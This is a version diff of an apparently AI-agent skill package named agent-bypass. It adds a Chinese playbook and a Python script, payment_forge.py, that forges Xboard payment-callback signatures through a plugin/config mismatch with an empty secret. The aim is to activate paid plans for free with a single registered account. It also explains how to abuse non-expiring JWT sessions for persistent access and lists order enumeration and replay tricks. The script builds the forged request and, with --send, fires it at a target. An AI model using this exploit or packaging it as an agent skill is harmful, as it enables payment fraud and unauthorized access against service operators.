agent-bypass 2.24.3 → 2.24.4

package/AGENT_ADDITIVE_CHANGELOG.md

@@ -311,3 +311,32 @@ L0 能直连？ 是→抓完结束
 **审计确认无问题项**：35 个模块锚点 00–34 连续无重复、模块地图全覆盖、6 条硬性规则完整未破、代码块全配对、frontmatter 合法、无真实凭据、无乱码、config.yaml 未被跟踪。
 
 **体积**：SKILL.md 130616 字节（上限 132000，余量 1384）
+
+## 2.24.4（2026-10-26）继续挖 V2Board/Xboard 线：支付回调伪造 + JWT 永不过期
+
+按硬性规则第 6 条「搜漏洞先搜最新的，再顺藤摸瓜找最能用的」执行：搜 Linux.do → 命中 `auth/forget`（2.24.2 已收录）→ 顺藤摸到 GitHub issue → 命中 **PR #1061「修复伪造支付回调后开通套餐bug」**（2026-10-12，**尚未合并**）→ 拉 diff 反推未修复版本的完整攻击链。
+
+**新增 6.1 插件配置混淆 + 空密钥验签（零成本开通套餐）**
+
+路由 `/payment/notify/{method}/{uuid}`，GET/POST 都收。`PaymentService` 构造函数里 `{uuid}` 决定加载哪份配置、`{method}` 决定用哪个插件验签，**修复前从不交叉校验**：
+- 拿一个 EPay 通道的 uuid，配 `method=mgate`
+- Mgate 插件 `setConfig()` 拿到的是 EPay 的配置，里面没有 `mgate_app_secret`
+- 原实现 `$sign !== md5(http_build_query($params) . $this->getConfig('mgate_app_secret'))`，密钥为空 → **sign 可自算**
+- 修复后加了 `if ($this->configuredMethod !== $this->method) throw 'payment method mismatch'`
+
+**精髓**：绝大多数机场只配易支付（EPay）不配 MGate，但「没配置这个渠道」不等于「它的回调入口不可达」。可用面极大，且**只要一个注册账号，不需要任何权限**。
+
+**新增 `scripts/payment_forge.py`**（5.3KB）
+- 复刻 PHP `http_build_query`（空格→+、特殊字符 encode、嵌套 `key[sub]=v`、bool→1/0、None 跳过）
+- 输出 sign + 完整 curl，`--send` 才真发（默认只生成命令）
+- **交叉验证**：与 PHP 实测逐字节对照，`2b3349f33aada13e29910a4f12bef0cb` 完全一致；嵌套/特殊字符/布尔/None 四个边界也一致
+
+**新增 6.2 JWT 与 session 永不过期**
+- `JWT::encode(['id','session'])` **payload 没有 exp**；`Cache::put($key,$sessions)` **没有 TTL**
+- 后果：token 拿到手，改密码、点登出都不失效，只有服务端清缓存才断（Linux.do 实测两个机场）
+- 从 `getUserInfoById` 拿的 `token` 字段 → 永久可拉订阅
+- `config('app.key')` 泄露可伪造 JWT（受限于需已知存在 session）
+
+**配套**：playbook 新增「阶段 6 支付链 · 完整分析」（6.1 源码逐行 / 6.2 持久化 / 6.3 其他面表格）；SKILL.md 选路指南加「只要白嫖套餐/改订单 → 阶段 6.1」入口。
+
+**体积**：SKILL.md 131489 字节（上限 132000，余量 511）

package/SKILL.md

@@ -11,7 +11,7 @@ description: >
   ctf/全能模式/渗透作战/逆向深挖/内存工程 等触发词时使用本技能。
 license: MIT
 metadata:
-  version: "2.24.3"
+  version: "2.24.4"
   recon_engines_verified: "2026-10-16 实测：可用 = fofa(VIP22) · shodan(edu,双key) · quake · netlas(Community) · urlscan · greynoise(免key) ；不可用 = hunter(无API权限) · zoomeye(502)"
   recon_credentials: "全部 Key 存于 skills/agent-bypass/config.yaml（chmod 600，勿提交）；环境变量 FOFA_EDU_API_KEY/QUAKE_API_KEY/SHODAN_API_KEY/NETLAS_API_KEY/URLSCAN_API_KEY/HUNTER_API_KEY/GITHUB_TOKEN 同名可用"
   recon_pitfalls: "FOFA 并发查询间隔≥9s 防 429；Shodan search 大结果集易 IncompleteRead（timeout 40s 且只取 matches 前 N 条）；Shodan 的 ssl.cert.* 过滤器在 edu 计划下对无自有证书的目标返回 total:0；CF 源站反查首选 FOFA cert=\"域名\""
@@ -999,6 +999,7 @@ RESEARCH：一手来源优先、交叉验证、引用可点、不确定性显式
 | 已经能进 staff 面 | 直接阶段 3 读 → 阶段 4 写 |
 | 只要节点/订阅 | 阶段 5（三条路挑能通的） |
 | 只要用户数据/邮箱 | 阶段 3 + 阶段 7 |
+| 只要白嫖套餐/改订单 | 阶段 6.1（`payment_forge.py`，只要一个注册账号） |
 | 打不动了 | 回阶段 1 看是不是形态 A（真打不动），还是中间件没吃透 |
 
 阶段编号是**逻辑顺序**不是执行顺序，按上表挑入口。
@@ -1155,14 +1156,25 @@ Header     auth_data: {"is_staff":1}      # 少数实现读 header 后 json_deco
 
 ## 阶段 6 支付链
 
-| 面 | 手法 |
-|---|---|
-| 订单枚举 | `trade_no` 常为 `前缀+YYMMDD+随机`，随机段短则可枚举；`GET {P}/order/fetch` 有权限就直接读 |
-| 回调伪造 | `POST /pay/{channel}/notify` 或 `/pay/{channel}/callback`，字段 `trade_status=TRADE_SUCCESS` + `sign=任意`。**先测 sign 是否校验**（Nexitally 的 `/pay/tmpay/Notify.aspx` sign 完全不校验，返回 success 即订单标记已付） |
-| 金额 oracle | `updateServiceMoney&oprid=N` 类接口跨用户读价；改 `money` 参数看服务端是否重算 |
-| 商户信息 | `payment/fetch` 里的 pid/key 字段名；key 常被前端引用，查 JS |
+**6.1 插件配置混淆 + 空密钥验签（Xboard，2026-10-12 PR #1061 前）——零成本开通套餐**
+
+路由 `/payment/notify/{method}/{uuid}`。`{uuid}` 选配置、`{method}` 选插件，**修复前不交叉校验**：EPay 通道的 uuid 配 `method=mgate` → Mgate 拿到 EPay 配置，没有 `mgate_app_secret`。
+
+Mgate 原实现 `md5(http_build_query($params) . $secret)`，密钥为空时 **sign 可自算**。
+
+```
+python3 scripts/payment_forge.py --order <订单号> --uuid <非mgate通道uuid> --base https://目标
+# 加 --send 直接发（需授权）；工具输出 sign + curl，算法已与 PHP 实测对齐
+```
+
+**判据**：重查订单看 `plan_id`/`expired_at`/余额变没变；`success` 但订单没动=假阳性，`payment method mismatch`=已修，`gate is not enable`=换 uuid。
+**精髓**：「没配置这个渠道」不等于「它的回调入口不可达」——多数机场只配易支付不配 MGate。
+
+**6.2 JWT 与 session 永不过期**：`JWT::encode(['id','session'])` **payload 没有 exp**，`Cache::put($key,$sessions)` **没有 TTL**。token 拿到手改密码、登出都不失效，只有服务端清缓存才断。从 `getUserInfoById` 拿的 `token` 字段 → 永久可拉订阅。`app.key` 一旦泄露可伪造 JWT（受限于需已知存在 session）。
+
+**6.3 其他面**：`trade_no` 常为前缀+日期+短随机可枚举；`amount`/`money` 看服务端是否重算（金额 oracle）；同 `callback_no` 重放看是否重复开通。
 
-**判据**：回调返回 `success`/`fail` 二值 + 订单状态变化（再查一次订单接口）。只看返回码不看订单状态 = 假阳性。
+源码与利用步骤：`references/vpn-panel-playbook.md` 阶段 6
 
 ## 阶段 7 用户情报（OSINT 面，不是控制面）
 

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "agent-bypass",
-  "version": "2.24.3",
+  "version": "2.24.4",
   "description": "Cknb 全能技术操作员 — Agent Skills 技能包（默认安装 Pi / OpenCode；Claude Code / Grok / OpenMinis 显式指定）",
   "bin": {
     "agent-bypass": "bin/install.js"

package/references/vpn-panel-playbook.md

@@ -162,3 +162,100 @@ $request->merge(['user' => Cache::get($authorization)]);        // ← 缓存命
 **形态 C｜客户端 blob 全字段信任**
 - 中间件把 `$request->input('auth_data')` 当**授权上下文本身**，不是当 token 解码
 - 判据：四发基线（见 SKILL.md 阶段 2）
+
+---
+
+## 阶段 6 支付链 · 完整分析
+
+### 6.1 插件配置混淆 + 空密钥验签（Xboard，PR #1061 前）
+
+**路由**（GET/POST 均可）：
+```
+/payment/notify/{method}/{uuid}
+```
+
+**漏洞成因**（`app/Services/PaymentService.php` 构造函数，逐行）：
+
+```php
+// {uuid} 决定加载哪份配置
+$paymentModel = Payment::where('uuid', $uuid)->first();
+$this->configuredMethod = $payment['payment'];         // 该通道真实方法，如 'epay'
+$this->config = json_decode($payment['config'], true); // EPay 的配置，没有 mgate_app_secret
+
+// {method} 决定用哪个插件验签
+if (isset($paymentMethods[$this->method])) {
+    $pluginCode = $paymentMethods[$this->method]['plugin_code'];  // 'mgate'
+    $this->payment->setConfig($this->config);            // ← 把 EPay 配置塞给 Mgate 插件
+}
+```
+
+两个值分别来自 URL 的不同段，**修复前从不交叉校验**。
+
+**Mgate 验签（修复前）**：
+```php
+public function notify($params): array|bool
+{
+    $sign = $params['sign'];
+    unset($params['sign']);
+    ksort($params);
+    $str = http_build_query($params) . $this->getConfig('mgate_app_secret');  // ← 空
+    if ($sign !== md5($str)) {
+        return false;
+    }
+    return ['trade_no' => $params['out_trade_no'], 'callback_no' => $params['trade_no']];
+}
+```
+
+站点没配 MGate 时 `mgate_app_secret` 为空 → `sign = md5(http_build_query($params))`，**攻击者自己能算**。
+
+**修复后**（当前 master）在 `notify()` 开头加了：
+```php
+if ($this->configuredMethod !== $this->method) {
+    throw new ApiException('payment method mismatch');
+}
+```
+
+**利用步骤**：
+1. 注册一个号，下单但不付款，记下 `trade_no`（订单号）
+2. 从下单响应或后台 `payment/fetch` 拿一个**非 mgate** 通道的 `uuid`
+3. `python3 scripts/payment_forge.py --order <订单号> --uuid <uuid> --base https://目标`
+4. 输出里有签名和 curl；加 `--send` 直接发（需授权）
+5. **验证**：重新查订单，看 `plan_id` / `expired_at` / 余额是否变化。只看 HTTP 返回不算数
+
+**判据**：
+- 修复后返回 `payment method mismatch`（400/500）
+- 未修复返回 `success` 且订单状态变更
+- 返回 `gate is not enable` 说明该 uuid 被禁用，换一个
+
+**为什么可用面很大**：绝大多数机场只配易支付（EPay），不配 MGate；而 MGate 插件默认存在。**"没配置这个支付渠道"不等于"它的回调入口不可达"**——这是这个洞的精髓。
+
+### 6.2 JWT 与 session 永不过期（持久化）
+
+```php
+// generateAuthData：payload 里没有 exp
+$authData = JWT::encode(['id' => $this->user->id, 'session' => $guid], config('app.key'), 'HS256');
+
+// addSession：Cache::put 没带 TTL
+Cache::put($cacheKey, $sessions);   // 无过期时间
+```
+
+**后果**：
+- token 拿到手就是长期的，**改密码、点登出都不失效**（Linux.do 实测两个机场）
+- `decryptAuthData` 只验 `in_array($session, array_keys($sessions))`，session 在缓存里就一直有效
+- 只有服务端清缓存（Redis flush / 重启）才断
+
+**利用**：
+- 从 `getUserInfoById` 拿到 `token` 字段 → 永久可拉订阅
+- 拿到任意 `auth_data` JWT → 只要对应 session 还在缓存里就一直能用
+- **`config('app.key')` 泄露（`.env` 泄露、备份文件、镜像层）→ 可伪造任意 `id` 的 JWT**，签 `HS256`，payload 只要 `{"id":<目标id>,"session":"<任意已存在session>"}`；不知道 session 就先用密码登录一次自己账号拿一个（但 session 绑定 userId，跨用户无效）——所以 app.key 泄露的实际上限是「冒充已知存在 session 的用户」
+
+**排查是否已登出失效**：改密后拿旧 token 打 `/api/v1/user/info`，还 200 就是永不过期。
+
+### 6.3 其他支付面
+
+| 面 | 手法 | 判据 |
+|---|---|---|
+| 订单枚举 | `trade_no` 常为 `前缀+YYMMDD+自增/短随机`；有 staff 权限直接 `order/fetch` | 能读到不属于自己的订单 |
+| 金额 oracle | 提交 `amount` / `money` 参数看服务端是否重算 | 服务端回显的金额 = 你传的值 |
+| 回调重放 | 同一 `callback_no` 重复通知 | 修复后应「重复通知必须匹配原流水」 |
+| 文本通知 | 待处理订单的纯文本通知只回执不处理 | 修复后的行为，旧版会直接开通 |

package/scripts/payment_forge.py

@@ -0,0 +1,131 @@
+#!/usr/bin/env python3
+"""支付回调签名伪造 —— 生成 sign 与可执行 curl 命令（不主动发包）
+
+背景：Xboard 支付回调入口 /payment/notify/{method}/{uuid}
+      插件实例化时把「uuid 对应配置」的 config 塞给「method 指定」的插件。
+      若 method=mgate 而 uuid 属于 epay 通道，Mgate 拿不到 mgate_app_secret，
+      原实现 md5(http_build_query(params) . '') 可自算 → 验签通过。
+      2026-10-12 PR #1061 增加 configuredMethod !== method 校验后失效。
+
+用法：
+  python3 payment_forge.py --order 202610260001 --uuid <通道uuid>
+  python3 payment_forge.py --order X --uuid Y --method mgate --secret '' --json
+  python3 payment_forge.py --order X --uuid Y --base https://t.example --send
+
+注意：--send 会真实请求目标，仅在授权范围内使用。
+"""
+import argparse
+import hashlib
+import json
+import sys
+from urllib.parse import quote_plus
+
+
+def http_build_query(d):
+    """复刻 PHP http_build_query：空格→+，特殊字符 percent-encode，
+    嵌套数组用 key[sub]=value，None 跳过，bool 转 1/0。"""
+    parts = []
+
+    def enc(v):
+        return quote_plus(str(v))
+
+    for k, v in d.items():
+        if v is None:
+            continue
+        if isinstance(v, bool):
+            v = "1" if v else "0"
+        if isinstance(v, dict):
+            for k2, v2 in v.items():
+                if v2 is None:
+                    continue
+                if isinstance(v2, bool):
+                    v2 = "1" if v2 else "0"
+                parts.append("%s%%5B%s%%5D=%s" % (enc(k), enc(k2), enc(v2)))
+        elif isinstance(v, (list, tuple)):
+            for i, v2 in enumerate(v):
+                parts.append("%s%%5B%d%%5D=%s" % (enc(k), i, enc(v2)))
+        else:
+            parts.append("%s=%s" % (enc(k), enc(v)))
+    return "&".join(parts)
+
+
+def build_sign(params, secret):
+    p = dict(params)
+    p.pop("sign", None)
+    ordered = {k: p[k] for k in sorted(p.keys())}
+    query = http_build_query(ordered)
+    return query, hashlib.md5((query + secret).encode("utf-8")).hexdigest()
+
+
+def main():
+    ap = argparse.ArgumentParser(description="支付回调签名伪造（生成命令，默认不发送）")
+    ap.add_argument("--order", required=True, help="目标订单号（out_trade_no）")
+    ap.add_argument("--uuid", required=True, help="支付通道 uuid（从下单响应或后台获取）")
+    ap.add_argument("--method", default="mgate", help="URL 里的 {method}，默认 mgate")
+    ap.add_argument("--trade-no", default=None, help="上游流水号，默认自动生成")
+    ap.add_argument("--amount", default="0.01", help="金额，默认 0.01")
+    ap.add_argument("--secret", default="", help="插件密钥，空表示站点未配置该插件")
+    ap.add_argument("--base", default="https://T", help="目标基址")
+    ap.add_argument("--send", action="store_true", help="真实发送（需授权）")
+    ap.add_argument("--json", action="store_true", help="输出 JSON")
+    args = ap.parse_args()
+
+    trade_no = args.trade_no or ("FORGE" + hashlib.md5(args.order.encode()).hexdigest()[:12].upper())
+    params = {
+        "out_trade_no": args.order,
+        "trade_no": trade_no,
+        "amount": args.amount,
+        "status": "TRADE_SUCCESS",
+    }
+    query, sign = build_sign(params, args.secret)
+    body = query + "&sign=" + sign
+    url = "%s/payment/notify/%s/%s" % (args.base.rstrip("/"), args.method, args.uuid)
+
+    result = {
+        "url": url,
+        "method": args.method,
+        "uuid": args.uuid,
+        "out_trade_no": args.order,
+        "trade_no": trade_no,
+        "query_string": query,
+        "sign": sign,
+        "secret_used": "(空)" if not args.secret else "(已提供)",
+        "body": body,
+        "curl": "curl -sS -X POST '%s' -d '%s'" % (url, body),
+        "post_verify": "下单后重新查订单状态，确认 plan_id/expired_at 是否变化",
+        "version_note": "Xboard 2026-10-12 前（PR #1061 未合并）可打；之后校验 configuredMethod 会抛 payment method mismatch",
+    }
+
+    if args.send:
+        import urllib.request
+        import urllib.error
+        try:
+            req = urllib.request.Request(
+                url, data=body.encode(), method="POST",
+                headers={"Content-Type": "application/x-www-form-urlencoded"},
+            )
+            with urllib.request.urlopen(req, timeout=20) as r:
+                result["http_status"] = r.status
+                result["response"] = r.read(2000).decode("utf-8", "replace")
+        except urllib.error.HTTPError as e:
+            result["http_status"] = e.code
+            result["response"] = e.read(2000).decode("utf-8", "replace")
+        except Exception as e:
+            result["error"] = str(e)
+
+    if args.json:
+        print(json.dumps(result, ensure_ascii=False, indent=2))
+    else:
+        print("目标   :", result["url"])
+        print("签名串 :", query)
+        print("sign   :", sign)
+        print("命令   :", result["curl"])
+        print("验证   :", result["post_verify"])
+        print("版本   :", result["version_note"])
+        if args.send:
+            print("状态   :", result.get("http_status"), result.get("response", "")[:300])
+    return 0
+
+
+if __name__ == "__main__":
+    sys.exit(main())